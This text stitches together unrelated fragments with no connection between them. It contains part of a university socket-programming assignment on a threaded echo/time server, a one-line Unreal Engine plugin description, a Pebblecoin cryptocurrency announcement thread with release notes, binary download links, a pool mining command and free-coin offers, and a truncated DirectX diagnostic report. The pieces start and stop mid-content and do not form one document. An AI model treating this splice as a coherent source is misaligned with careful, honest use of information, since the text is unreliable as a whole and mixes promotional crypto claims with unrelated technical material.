received from the child via a half-duplex pipe (see below). The parent exits the second loop when the child closes the pipe (how does the parent detect this?), and/or the SIGCHLD signal is generated when the child terminates. The parent then repeats the outer loop, querying the user again for the (next) service s/he desires. This cycle continues till the user responds to a query with quit rather than echo or time. The child process is the one which handles the actual service for the user. It execs (see Section 4.7, Chapter 4) an xterm to generate a separate window through which all interactions with server and user take place. For example, the following exec function call evokes an xterm, and gets the xterm to execute echocli, located in the current directory, passing the string 127.0.0.1 (assumed to be the IP address of the server) as the command line argument argv[1] to echocli (click on the url for further details) : execlp("xterm", "xterm", "-e", "./echocli", "127.0.0.1", (char *) 0) xterm executes one of two client programs (echocli or timecli, say) depending on the service requested. A client program establishes a TCP connection to the server at the ‘well-known port’ for the service (in reality, this port will, of course, be some ephemeral port of your choosing, the value of which is known to both server and client code). All interaction with the user, on the one hand, and with the server, on the other, takes place through the child’s xterm window, not the parent’s window. On the other hand, the child will use a half-duplex pipe to relay status information to the parent which the parent prints out in its window (see below).To terminate the echo client, the user can type in ^D (CTRL D, the EOF character). To terminate the time client, the only option is for the user to type in ^C (CTRL C). (This can also be used as an alternative means of terminating the echo client.) Note that using ^C in the context of the time service will give the server process the impression that the client process has ‘crashed’. It is your responsibility to ensure that the server process handles this correctly and closes cleanly. I shall address this further when discussing the server process. It is also part of your responsibility in this assignment to ensure that the client code is robust with respect to the server process crashing (see Sections 5.12 & 5.13, Chapter 5). Amongst other implications, this means that it would probably be a good idea for you to implement your echo client code along the lines of either : Figure 6.9, p.168 (or even Figure 6.13, p.174) which uses I/O multiplexing with the select function; or of Figure 26.2, p.680, which uses threads; rather than along the lines of Figure 5.5, p.125. When the child terminates, either normally or abnormally, its xterm window disappears instantaneously. Consequently, any status information that the child might want to communicate to the user should not be printed out on the child’s xterm window, since the user will not have time to see the final such message before the window disappears. Instead, as the parent forks off the child at the beginning, a half-duplex pipe should be established from child to parent. The child uses the pipe to send status reports to the parent, which the parent prints out in its window. I leave it up to you to decide what status information exactly should be relayed to the parent but, at a minimum, the parent should certainly be notified, in as precise terms as possible, of any abnormal termination conditions of the service provided by the child. In general, you should try to make your code as robust as possible with respect to handling errors, including confused behaviour by the user (e.g., passing an invalid command line argument; responding to a query incorrectly; trying to interact with the service through the parent process window, not the child process xterm; etc.). Amongst other things, you have to worry about EINTR errors occurring during slow system calls (such as the parent reading from the pipe, or, possibly, printing to stdout, for example) due to a SIGCHLD signal. What about other kinds of errors? Which ones can occur? How should you handle them? Server The server has to be able to handle multiple clients using threads (specifically, detached threads), not child processes (see Sections 26.1 to 26.4, Chapter 26). Furthermore, it has to be able to handle multiple types of service; in our case, two : echo and time. echo is just the standard echo service we have seen in class. time is a slightly modified version of the daytime service (see Figure 1.9, p.14) : instead of sending the client the ‘daytime’ just once and closing, the service sits in an infinite loop, sending the ‘daytime’, sleeping for 5 seconds, and repeating, ad infinitum. The server is loosely based on the way the inetd daemon works : see Figure 13.7, p.374. However, note that the differences between inetd and our server are probably more significant than the similarities: inetd forks off children, whereas our server uses threads; inetd child processes issue exec commands, which our server threads do not; etc. So you should treat Figure 13.7 (and Section 13.5, Chapter 13, generally) as a source of ideas, not as a set of specifications which you must slavishly adhere to and copy. Note, by the way, that there are some similarities between our client and inetd (primarily, forking off children which issue execs), which could be a useful source of ideas. The server creates a listening socket for each type of service that it handles, bound to the ‘well-known port’ for that service. It then uses select to await clients (Chapter 6; or, if you prefer, poll; note that pselect is not supported in Solaris 2.10). The socket on which a client connects identifies the service the client is seeking. The server accepts the connection and creates a thread which provides the service. The thread detaches itself. Meanwhile, the main thread goes back to the select to await further clients. A major concern when using threads is to make sure that operations are thread safe (see p.685 and on into Section 26.5). In this respect, Stevens’ readline function (in Stevens’ file unpv13e/lib/readline.c, see Figure 3.18, pp.91-92) poses a particular problem. On p.686, the authors give three options for dealing with this. The third option is too inefficient and should be discarded. You can implement the second option if you wish. Easiest of all would be the first option, since it involves using a thread-safe version of readline (see Figures 26.11 & 26.12) provided in file unpv13e/threads/readline.c. Whatever you do, remember that Stevens’ library, libunp.a, contains the non-thread-safe version of Figure 3.18, and that is the version that will be link-loaded to your code unless you undertake explicit steps to ensure this does not happen (libunp.a also contains the ‘wrapper’ function Readline, whose code is also in file unpv13e/lib/readline.c). Remaking your copy of libunp.a with the ‘correct’ version of readline is not a viable option because when you hand in your code, it will be compiled and link-loaded with respect to the version of libunp.a in the course account, ~cse533/Stevens/unpv13e_solaris2.10 (I do not intend to change that version since it risks creating confusion later on in the course). Also, you will probably want to use the original version of readline in the client code anyway. I am providing you with a sample Makefile which picks up the thread-safe version of readline from directory ~cse533/Stevens/unpv13e_solaris2.10/threads and uses it when making the executable for the server, but leaves the other executables it makes to link-load the non-thread-safe version from libunp.a. Again, it is part of your responsibility to make sure that your server code is as robust as possible with respect to errors, and that the server threads terminate cleanly under all circumstances. Recall, first of all, that the client user will often use ^C (CTRL C) in the xterm to terminate the service. This will appear to the server thread as if the client process has crashed. You need to think about the error conditions that will be induced (see Sections 5.11 to 5.13, Chapter 5), and how the echo and time server code is to detect and handle these conditions. For example, the time server will almost certainly experience an EPIPE error (see Section 5.13). How should the associated SIGPIPE signal be handled? Be aware that when we return out of the Stevens’ writen function with -1 (indicating an error) and check errno, errno is sometimes equal to 0, not EPIPE (value 32). This can happen under Solaris 2.10, but I am not sure under precisely what conditions nor why. Nor am I sure if it also happens under other Unix versions, or if it also happens when using write rather than writen. The point is, you cannot depend on errno to find out what has happened to the write or writen functions. My suggestion, therefore, is that the time server should use the select function. On the one hand, select’s timeout mechanism can be used to make the server sleep for the 5 seconds. On the other hand, select should also monitor the connection socket read event because, when the client xterm is ^C’ed, a FIN will be sent to the server TCP, which will prime the socket for reading; a read on the socket will then return with value 0 (see Figure 14.3, p. 385 as an example). But what about errors other than EPIPE? Which ones can occur? How should you handle them? Recall, as well, that if a thread terminates without explicitly closing the connection socket it has been using, the connection socket will remain existent until the server process itself dies (why?). Since the server process is supposed, in principle, to run for ever, you risk ending up with an ever increasing number of unused, ‘orphaned’ sockets unless you are careful. Whenever a server thread detects the termination of its client, it should print out a message giving appropriate details: e.g., “Client termination: EPIPE error detected”, “Client termination: socket read returned with value 0”, “Client termination: socket read returned with value -1, errno = . . .”, and so on. When debugging your server code, you will probably find that restarting the server very shortly after it was last running will give you trouble when it comes to bind to its ‘well-known ports’. This is because, when the server side initiates connection termination (which is what will happen if the server process crashes; or if you kill it first, before killing the client) TCP keeps the connections open in the TIME_WAIT state for 2MSLs (Sections 2.6 & 2.7, Chapter 2). This could very quickly become a major irritant. I suggest you explore the possibility of using the SO_REUSEADDR socket option (pp.210-213, Chapter 7; note that the SO_REUSEPORT socket option is not supported in Solaris 2.10), which should help keep the stress level down. You will need to use the setsockopt function (Section 7.2) to enable this option. Figure 8.24, p.263, shows an instance of server code that sets the SO_REUSEADDR socket option. Finally, you should be aware of the sort of problem, described in Section 16.6, pp.461-463, that might occur when (blocking) listening sockets are monitored using select. Such sockets should be made nonblocking, which requires use of the fcntl function after socket creates the socket, but before listen turns the socket into a listening socket.
SaxonRah
A simple C++ plugin for Unreal Engine 4 containing everything needed to play with Lindenmayer Systems. Plugin was built and tested with 4.13.0 -- Relevant forum thread here.
BlockchainLabs
Pebblecoin UPDATE 2015/12/31: Version 0.4.4.1 is now out. The major change is optimizing the daemon to use less RAM. It no longer keeps all the blocks, which are rarely needed, in RAM, and so RAM usage has decreased from around 2 gigabytes, to under 200 megabytes. Mac binaries are also now available. The new wallet is compatible with the old wallet - simply turn off the old wallet, and start the new wallet, and the blockchain will update automatically to use less RAM. Code: Release Notes 0.4.4.1 - (All) Fix blockchain RAM usage, from almost 2 GB to less than 200 MB - Seamless blockchain conversion on first run with new binaries - (Qt) Fix high CPU usage - (Qt) Fix sync indicator (# of total blocks) - (Mac) Mac binaries - Technical Notes: - (All) Blockchain disk-backed storage with sqlite3 and stxxl - (Mac) Fix mac compilation - (All) Update build files & instructions for linux, mac, windows - (All) Remove unused protobuf and OpenSSL dependencies for Qt wallet - (Tests) Fix valgrind errors - (Tests) Use local directory for blockchain instead of default directory - (Tests) Run tests on Windows if using new enough MSVC LINKS: Windows 64-bit: https://www.dropbox.com/s/b4kubwwnb4t7o4w/pebblecoin-all-win32-x64-v0.4.4.1.zip?dl=0 Mac 64-bit: https://www.dropbox.com/s/uoy9z1oxu4x53cv/pebblecoin-all-mac-x64-v0.4.4.1.tar.gz?dl=0 Linux 64-bit: https://www.dropbox.com/s/jq3h3bc29jmndks/pebblecoin-all-linux-x64-v0.4.4.1.tar.gz?dl=0 Exchange: https://poloniex.com/exchange#btc_xpb . Source: https://github.com/xpbcreator/pebblecoin/ CONTACT: xpbcreator@torguard.tg IRC: irc.freenode.net, #pebblecoin UPDATE 2015/06/08: Version 0.4.3.1 is now out. This is a minor, mostly bug-fix release. Work continues on the next major release which will bring us user-created currencies and user-graded contracts. Release notes: Code: Release Notes 0.4.3.1 - RPC calls for DPOS: - getdelegateinfos RPC call - get kimageseqs RPC call - block header contains signing_delegate_id - fix checkpoint rollback bug - fix inability to send coins if voting history was lost UPDATE 2015/05/04: Version 0.4.2.2 is now out. This is a bug-fix/cosmetic release. Release notes: Payment ID support Windows installer Logos updated Improved DPOS tab Sync issues fully fixed Fix rare crash bug Fix min out 0 bug Fix debit display Fix GUI not updating Updated hard-coded seed nodes UPDATE 2015/04/24: The switch-over to DPOS has succeeded without a hitch! DPOS blocks are being signed as we speak, at the far faster pace of 15 seconds per block. This marks the start of a new era for Pebblecoin. UPDATE 2015/04/21: Congratulations to the first registered delegate! This indicates the start of the forking change so everybody please update your daemons if you haven't already. To promote the coin and encourage people to become delegates, we've come up with an incentive scheme. First, we'll send a free 100 XPB to anybody who PMs me their public address, for people to play around with and to start using the coin. Second, once DPOS starts, for the first month of DPOS I'll send an extra 0.5 XPB to the signing delegate for every block they process. This is on top of the usual transaction fees they will receive. This is to encourage more people to become delegates at this important phase of the coin. UPDATE 2015/04/19: All went well on the testnet release, so after a few further minor modifications, we are releasing version 0.4.1.2 to the public. This is a forking change, so please update your clients and servers (links below). At block 83120, sometime on April 21st, registration for DPOS delegates will begin. At block 85300, sometime on April 24th, the network will switch over to DPOS. As with the testnet, to become a delegate and receive block fees for securing the network, just turn on your wallet, register to be a delegate (5 XPB fee), and then leave your wallet on. It will sign the blocks when it is your turn. While Roman works on the next phase of the release - introducing subcurrencies - I will be fixing up some loose ends on the wallet, adding payment ID support, etc. This is truly an exciting time for Pebblecoin. RELEASE NOTES: All clients adjust internal clocks using ntp (client list in src/common/ntp_time.cpp) Added testnet support DPOS registration starts Block 83120 (~April 21st) DPOS phase starts Block 85300 (~April 24th) Default fee bumped to 0.10 XPB Low-free transactions no longer get relayed by default Significantly improved wallet sync Checkpoint at Block 79000 TOTAL CURRENT COINS: Available at this link. BLOCK TARGET TIME: 2 minutes EXPECTED EMISSION: At Block 3600 (End of Day 5): ~78 XPBs At Block 6480 (End of Day 9): ~758 XPBs At Block 9360 (End of Day 13): 6,771.0 XPBs At Block 12240 (End of Day 17): ~61,000 XPBs At Block 15120 (End of Day 21): ~550,000 XPBs, start of regular 300/block emission At Block 21900 (End of Month 1): ~2,600,000 XPBs, 300/block At Block 43800 (End of Month 2): ~9,150,000 XPBs, 300/block At Block 85300 (End of POW phase): ~21,500,300 XPBs. UPDATE: The Pebblecoin Pool is now live! Instructions: Download the linux miner and run it: ./minerd -o stratum+tcp://69.60.113.21:3350 -u YOUR_WALLET_ADDRESS -p x UPDATE: The Pebblecoin wallet is now live! There have been thousands of attempts at alternative currencies in the community. Many are 100% copies of existing blockchains with a different name. Some are very slight variations with no significant differences. From recent history it is apparent the only realistic chance for viability of a new currency is one that is innovation and continued support and development. The bitcoin community for good reason has shown interest in currencies that provide privacy of transactions, several currencies such as darkcoin, have become popular based on this desire. The best technology for privacy is cryptonote although for a variety of reasons there hasnt been much development for ease of use, and as a result there has not been significant adoption. Pebblecoin (XPB) is a cryptonote based coin with improvements and changes in some areas, and the promise of development in others. I invite developers to work on this technology with me. There is no premine, any tips or support of any developer including myself will be completely voluntary. These are the following areas which I have determined needs changes/updates: I welcome suggestions, and am interested what else I can try to improve. 1) New Mining algorithm (active) A mining algorithm is either susceptible to ASIC development or to being botnetted, meaning it is either more efficient to have a centralized mining entity (as is the case with bitcoin) or to have an algorithm that requires a real CPU, in which case botnets become very attractive. To my knowledge there does not exist a blockchain that attempts to solve both problems, by having an algorithm that only works on a general purpose computer and is difficult to botnet. Cryptonote coins currently are primarily mined with botnets. Boulderhash is a new mining algorithm requiring 13 GB RAM, nearly eliminating all possible zombie (botnet controlled) computers from mining. Most infected computers in the world do not have 13 GB available, so an algorithm that requires that much RAM severely limits the productivity of a botnet. 13 GB also makes ASICs cost prohibitive, and the current GPUs do not have that much RAM. What's left is general purpose computers as was the original intent of bitcoin's mining process. 2) Distribution of coins (active) It is very common in the launch of a new cryptocurrency the distribution algorithm heavily is weighted towards the very early adopters. Such distribution is designed to give a massive advantage to people who are fully prepared to mine at launch, with a very large difference shortly after sometimes a few days later. If the point of mining is to both secure the network and fairly distribute coins a gradual build up of rewards makes more sense, with no drop off in mining rewards. At a standard block reward of 300, at launch each block will reward 0.3 coins leading up to 3, 30, and finally the standard reward of 300 which will be the standard unchanging reward from that point. It will take approximately 3 weeks for the block reward of 300 to be reached. 3) GUI Software (active) There are no current cryptonote coins that have a downloadable GUI, which makes the user experience much worse than that of bitcoin. It is hard to achieve signficant adoption with a command line interface. The very first update had the exact GUI written for bitcoin fully working with Pebblecoin. The GUI was released on Jan 19, before the full 300 XPB reward was awarded for winning the block. 4) IRC Chat support embedded in Client GUI (active) For user support, and to talk to core developers message boards such as Bitcointalk and reddit are primarily used. I have embedded an IRC client in the GUI and be available at set hours for any kind of support. 5) Address aliasing (to be worked on) Just as a user visiting google does not need to know the ip address, similarly an address should have the ability to have an associated userid. If I ask a friend to send me pebblecoins it would be easier to tell him send it to @myuserid rather than a very long address or scanning a QR code. There should be a way of registering a userid on the blockchain that will permanently translate to a pebblecoin addresss. QT INSTRUCTIONS: Download the package for your respective platform Run the Qt executable. The software will generate a new wallet for you and use a default folder: ~/.pebblecoin on Linux and %appdata%\pebblecoin on Windows. To use an existing wallet, copy the wallet.keys file into the default folder. To use a different data directory and/or wallet file, run the software like so: ./pebblecoin-qt --data-dir <DataDir> --wallet-file <FileName>. To enable mining, run the start_mining_NEEDS_13GB_RAM.bat batch file. Or run the qt wallet with the --enable-boulderhash command line option, or put enable-boulderhash=1 into the config file. It will start mining to the wallet address. To change the number of mining threads (13GB required per thread), do --mining-threads <NumThreads> or edit the batch file. DAEMON + SIMPLEWALLET INSTRUCTIONS: Download the package, run: ./pebblecoind --data-dir pebblecoin_data Once the daemon finished syncing, run the simplewallet: ./simplewallet POOL INSTRUCTIONS: Download the miner binary for your platform. Run the miner using a wallet address gotten from simplewallet or the Qt Wallet: Code: minerd -o stratum+tcp://69.60.113.21:3350 -u YOUR_WALLET_ADDRESS -p x [/li] DEV WALLET (for donations): PByFqCfuDRUPVsNrzrUXnuUdF7LpXsTTZXeq5cdHpJDogbJ8EBXopciN7DmQiGhLEo5ArA7dFqGga2A AhbRaZ2gL8jjp9VmYgk
denman2328
------------------ System Information ------------------ Time of this report: 8/10/2013, 08:36:20 Machine name: BRYCE-PC Operating System: Windows 8 Pro 64-bit (6.2, Build 9200) (9200.win8_rtm.120725-1247) Language: English (Regional Setting: English) System Manufacturer: To Be Filled By O.E.M. System Model: To Be Filled By O.E.M. BIOS: BIOS Date: 04/13/12 20:22:30 Ver: 04.06.05 Processor: Intel(R) Core(TM) i5-3570K CPU @ 3.40GHz (4 CPUs), ~3.4GHz Memory: 8192MB RAM Available OS Memory: 8086MB RAM Page File: 4736MB used, 11541MB available Windows Dir: C:\WINDOWS DirectX Version: DirectX 11 DX Setup Parameters: Not found User DPI Setting: Using System DPI System DPI Setting: 96 DPI (100 percent) DWM DPI Scaling: Disabled DxDiag Version: 6.02.9200.16384 64bit Unicode ------------ DxDiag Notes ------------ Display Tab 1: No problems found. Display Tab 2: No problems found. Sound Tab 1: No problems found. Sound Tab 2: No problems found. Sound Tab 3: No problems found. Input Tab: No problems found. -------------------- DirectX Debug Levels -------------------- Direct3D: 0/4 (retail) DirectDraw: 0/4 (retail) DirectInput: 0/5 (retail) DirectMusic: 0/5 (retail) DirectPlay: 0/9 (retail) DirectSound: 0/5 (retail) DirectShow: 0/6 (retail) --------------- Display Devices --------------- Card name: NVIDIA GeForce GTX 670 Manufacturer: NVIDIA Chip type: GeForce GTX 670 DAC type: Integrated RAMDAC Device Type: Full Device Device Key: Enum\PCI\VEN_10DE&DEV_1189&SUBSYS_355A1458&REV_A1 Display Memory: 7823 MB Dedicated Memory: 4036 MB Shared Memory: 3787 MB Current Mode: 1920 x 1080 (32 bit) (60Hz) Monitor Name: Acer X233H Monitor Model: Acer X233H Monitor Id: ACR0093 Native Mode: 1920 x 1080(p) (60.000Hz) Output Type: DVI Driver Name: nvd3dumx.dll,nvwgf2umx.dll,nvwgf2umx.dll,nvd3dum,nvwgf2um,nvwgf2um Driver File Version: 9.18.0013.1106 (English) Driver Version: 9.18.13.1106 DDI Version: 11 Feature Levels: 11.0,10.1,10.0,9.3,9.2,9.1 Driver Model: WDDM 1.2 Graphics Preemption: DMA Compute Preemption: DMA Driver Attributes: Final Retail Driver Date/Size: 2/26/2013 00:32:38, 18055184 bytes WHQL Logo'd: Yes WHQL Date Stamp: Device Identifier: {D7B71E3E-52C9-11CF-BA73-57151CC2C435} Vendor ID: 0x10DE Device ID: 0x1189 SubSys ID: 0x355A1458 Revision ID: 0x00A1 Driver Strong Name: oem15.inf:0f066de34a9a900c:Section063:9.18.13.1106:pci\ven_10de&dev_1189 Rank Of Driver: 00E02001 Video Accel: ModeMPEG2_A ModeMPEG2_C ModeVC1_C ModeWMV9_C DXVA2 Modes: DXVA2_ModeMPEG2_IDCT DXVA2_ModeMPEG2_VLD DXVA2_ModeVC1_VLD DXVA2_ModeVC1_IDCT DXVA2_ModeWMV9_IDCT DXVA2_ModeH264_VLD_NoFGT Deinterlace Caps: {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_PixelAdaptive {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_BOBVerticalStretch {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(UYVY,UYVY) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_PixelAdaptive {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(UYVY,UYVY) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(UYVY,UYVY) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(UYVY,UYVY) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_BOBVerticalStretch {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(YV12,0x32315659) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_PixelAdaptive {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(YV12,0x32315659) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(YV12,0x32315659) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(YV12,0x32315659) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_BOBVerticalStretch {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(NV12,0x3231564e) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_PixelAdaptive {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(NV12,0x3231564e) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(NV12,0x3231564e) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(NV12,0x3231564e) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY DeinterlaceTech_BOBVerticalStretch {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC1,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC2,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC3,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= D3D9 Overlay: Supported DXVA-HD: Supported DDraw Status: Enabled D3D Status: Enabled AGP Status: Enabled Card name: Intel(R) HD Graphics 4000 Manufacturer: Intel Corporation Chip type: Intel(R) HD Graphics Family DAC type: Internal Device Type: Full Device Device Key: Enum\PCI\VEN_8086&DEV_0162&SUBSYS_01621849&REV_09 Display Memory: 1664 MB Dedicated Memory: 32 MB Shared Memory: 1632 MB Current Mode: 1920 x 1080 (32 bit) (59Hz) Monitor Name: SyncMaster 2233SW,SyncMaster Magic CX2233SW(Analog) Monitor Model: SyncMaster Monitor Id: SAM049A Native Mode: 1920 x 1080(p) (59.934Hz) Output Type: HD15 Driver Name: igdumd64.dll,igd10umd64.dll,igd10umd64.dll,igdumdx32,igd10umd32,igd10umd32 Driver File Version: 9.17.0010.2932 (English) Driver Version: 9.17.10.2932 DDI Version: 11 Feature Levels: 11.0,10.1,10.0,9.3,9.2,9.1 Driver Model: WDDM 1.2 Graphics Preemption: DMA Compute Preemption: Thread group Driver Attributes: Final Retail Driver Date/Size: 12/14/2012 02:42:34, 12615680 bytes WHQL Logo'd: Yes WHQL Date Stamp: Device Identifier: {D7B78E66-4222-11CF-8D70-6821B7C2C435} Vendor ID: 0x8086 Device ID: 0x0162 SubSys ID: 0x01621849 Revision ID: 0x0009 Driver Strong Name: oem3.inf:5f63e53413eb6103:iIVBD0:9.17.10.2932:pci\ven_8086&dev_0162 Rank Of Driver: 00E02001 Video Accel: ModeMPEG2_A ModeMPEG2_C ModeWMV9_C ModeVC1_C DXVA2 Modes: DXVA2_ModeMPEG2_VLD DXVA2_ModeMPEG2_IDCT DXVA2_ModeWMV9_IDCT DXVA2_ModeVC1_IDCT DXVA2_ModeH264_VLD_NoFGT Deinterlace Caps: {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(UYVY,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(UYVY,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(UYVY,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(YV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering 